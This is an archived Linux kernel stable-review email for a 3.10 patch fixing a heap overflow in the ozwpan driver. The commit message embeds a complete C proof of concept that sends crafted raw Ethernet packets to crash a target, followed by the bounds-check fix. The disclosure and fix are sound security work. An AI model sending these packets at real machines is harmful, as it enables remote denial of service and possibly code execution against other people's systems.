stable.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: linux-kernel@vger.kernel.org
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	stable@vger.kernel.org, "Jason A. Donenfeld" <Jason@zx2c4.com>,
	Dan Carpenter <dan.carpenter@oracle.com>
Subject: [PATCH 3.10 21/29] ozwpan: Use proper check to prevent heap overflow
Date: Fri, 19 Jun 2015 13:36:41 -0700	[thread overview]
Message-ID: <20150619203558.118650003@linuxfoundation.org> (raw)
In-Reply-To: <20150619203557.356558223@linuxfoundation.org>

3.10-stable review patch.  If anyone has any objections, please let me know.

------------------

From: "Jason A. Donenfeld" <Jason@zx2c4.com>

commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.

Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.

This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/staging/ozwpan/ozusbsvc1.c |   13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -376,10 +376,15 @@ void oz_usb_rx(struct oz_pd *pd, struct
 	case OZ_GET_DESC_RSP: {
 			struct oz_get_desc_rsp *body =
 				(struct oz_get_desc_rsp *)usb_hdr;
-			int data_len = elt->length -
-					sizeof(struct oz_get_desc_rsp) + 1;
-			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
-			u16 total_size =
+			u16 offs, total_size;
+			u8 data_len;
+
+			if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
+				break;
+			data_len = elt->length -
+					(sizeof(struct oz_get_desc_rsp) - 1);
+			offs = le16_to_cpu(get_unaligned(&body->offset));
+			total_size =
 				le16_to_cpu(get_unaligned(&body->total_size));
 			oz_trace("USB_REQ_GET_DESCRIPTOR - cnf\n");
 			oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,


--
To unsubscribe from this list: send the line "unsubscribe stable" in

  parent reply	other threads:[~2015-06-19 20:49 UTC|newest]

Thread overview: 31+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2015-06-19 20:36 [PATCH 3.10 00/29] 3.10.81-stable review Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 01/29] net: phy: Allow EEE for all RGMII variants Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 02/29] ipv4: Avoid crashing in ip_error Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 03/29] bridge: fix parsing of MLDv2 reports Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 04/29] net: dp83640: fix broken calibration routine Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 05/29] unix/caif: sk_socket can disappear when state is unlocked Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 06/29] net_sched: invoke ->attach() after setting dev->qdisc Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 07/29] udp: fix behavior of wrong checksums Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 08/29] xen: netback: read hotplug script once at start of day Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 09/29] iio: adis16400: Report pressure channel scale Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 10/29] iio: adis16400: Use != channel indices for the two voltage channels Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 11/29] iio: adis16400: Compute the scan mask from channel indices Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 12/29] ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420 Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 13/29] ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 14/29] ALSA: usb-audio: add MAYA44 USB+ mixer control names Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 16/29] block: fix ext_dev_lock lockdep report Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 17/29] USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 18/29] USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 19/29] ring-buffer-benchmark: Fix the wrong sched_priority of producer Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 20/29] MIPS: Fix enabling of DEBUG_STACKOVERFLOW Greg Kroah-Hartman
2015-06-19 20:36 ` Greg Kroah-Hartman [this message]
2015-06-19 20:36 ` [PATCH 3.10 22/29] ozwpan: divide-by-zero leading to panic Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 23/29] ozwpan: unchecked signed subtraction leads to DoS Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 24/29] pata_octeon_cf: fix broken build Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 26/29] mm/memory_hotplug.c: set zone->wait_table to null after freeing it Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 27/29] cfg80211: wext: clear sinfo struct before calling driver Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 28/29] btrfs: incorrect handling for fiemap_fill_next_extent return Greg Kroah-Hartman
2015-06-19 20:36 ` [PATCH 3.10 29/29] btrfs: cleanup orphans while looking up default subvolume Greg Kroah-Hartman
2015-06-20  1:13 ` [PATCH 3.10 00/29] 3.10.81-stable review Shuah Khan
2015-06-20  1:25 ` Guenter Roeck
2015-06-20  7:50 ` Sudip Mukherjee

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20150619203558.118650003@linuxfoundation.org \
    --to=gregkh@linuxfoundation.org \
    --cc=Jason@zx2c4.com \
    --cc=dan.carpenter@oracle.com \
    --cc=linux-kernel@vger.kernel.org \
    --cc=stable@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).